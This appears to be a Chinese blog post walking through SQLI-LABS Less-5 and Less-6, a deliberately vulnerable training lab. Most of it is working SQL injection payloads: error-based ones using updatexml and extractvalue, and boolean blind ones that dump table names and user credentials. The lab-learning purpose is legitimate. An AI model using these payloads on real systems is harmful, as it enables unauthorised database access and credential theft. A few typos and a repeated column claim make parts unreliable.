SQLI-LABS(三)
阿新 • • 發佈:2021-02-04
技術標籤:SQLI-LABS
SQLI-LABS(三)
文章目錄
準備的函式:
left(a,b); 從左側開始擷取a的前b位 length(a); 返回字串a的長度 regexp(); like(); substr(a,b,c); 從b位開始擷取字串a的c位 ascii('a'); 返回字母 a 的 ascii值 ord(); chr(); if(a,b,c); a為true,執行b;a錯誤,執行c
Less-5:
?id=1
?id=2
?id=50
發現只要語句正確,顯示的結果都相同,沒有回顯
?id=1'
出現報錯資訊,證明存在sql漏洞
sql語句:SELECT * FROM users WHERE id='1'' LIMIT 0,1
報錯資訊:''1'' LIMIT 0,1',去掉包圍的引號,為'1'' LIMIT 0,1
知為字元型注入,以 '閉合
?id=1' order by 3--+
判斷列數為3列
方法一:報錯注入
既然報錯資訊可以在頁面中顯示出來,那麼我們進行報錯注入
XPATH報錯
extratvalue();
?id=1 and extractvalue( 1,concat('^',(select version()),'^'))--+
updataxml();
?id=1 and updatexml(1,concat('^',(select version()),'^'),1)--+
查庫:
?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
查表:
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=' security'),'~'),1)--+
查欄位:
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'~'),1)--+
查欄位內容:
?id=1' and updatexml(1,concat('~',(select group_concat(concat_ws('~',username,password))from security.users),'~'),1)--+
方法二:判斷是否為布林型別注入
?id=1' and 1=1--+
?id=1' and 1=2--+
兩次頁面不同,確定可以使用布林盲注
布林盲注—對可變引數進行爆破處理
查庫:
判斷資料庫的長度:
資料庫長度是否為1?
?id=1' and length(database())=1 --+
具體判斷資料庫的組成:
字母判斷:
判斷資料庫名的第一位是否為a?
?id=1' and left(database(),1)='a'--+
ascii判斷:
判斷資料庫名的第一位ascii值是否大於100?
?id=1 and ascii(substr(database(),1,1)) > 100 --+
經過嘗試之後可以知道
?id=1' and length(database())='8'--+
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and database()='security'--+
即資料庫是 security
看哪一個庫名開頭為's'?
?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 7,1),1,1)) =115--+
知第八個資料庫為 security
查表:
看哪一個表名開頭為'u'?
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)) ='117'--+
知第四張表為 users
查欄位:
看哪一個欄位開頭為'u'?
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 12,1),1,1)) =117--+
知第13個欄位為 username
同樣的方法知道第13個欄位為 password
查欄位內容:
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) > 100--+
?id=1' and ascii(substr((select password from security.users limit 0,1),1,1)) > 100--+
用該方法一個一個查出 username,以及password 的資訊
Less-6:
?id=1"
出現報錯資訊,證明存在sql漏洞
報錯資訊:'"1"" LIMIT 0,1',去掉包圍的引號,為 "1"" LIMIT 0,1
知為字元型注入,以 "閉合
?id=1" order by 3--+
判斷列數為3列
與第五關的區別只有閉合方式不同,將第五個的單引號改為雙引號即可